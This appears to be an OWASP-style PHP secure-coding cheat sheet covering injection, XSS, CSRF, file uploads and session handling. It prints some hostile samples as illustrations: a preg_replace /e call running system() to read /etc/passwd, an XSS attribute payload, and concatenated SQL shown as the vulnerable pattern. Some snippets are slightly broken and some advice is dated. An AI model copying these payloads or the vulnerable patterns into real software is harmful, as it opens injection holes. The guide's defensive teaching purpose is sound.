There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
        if (!in_array($Needle,$Haystack))&lt;br /&gt;
                return reset($Haystack); //first element&lt;br /&gt;
        return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you're bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitized user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
 	return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
 	echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Session IDs are to be generated by your application only. Never create a session only because you receive the session ID from the client, the only source of creating a session should be a secure random generator.&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not Javascript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to javascript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
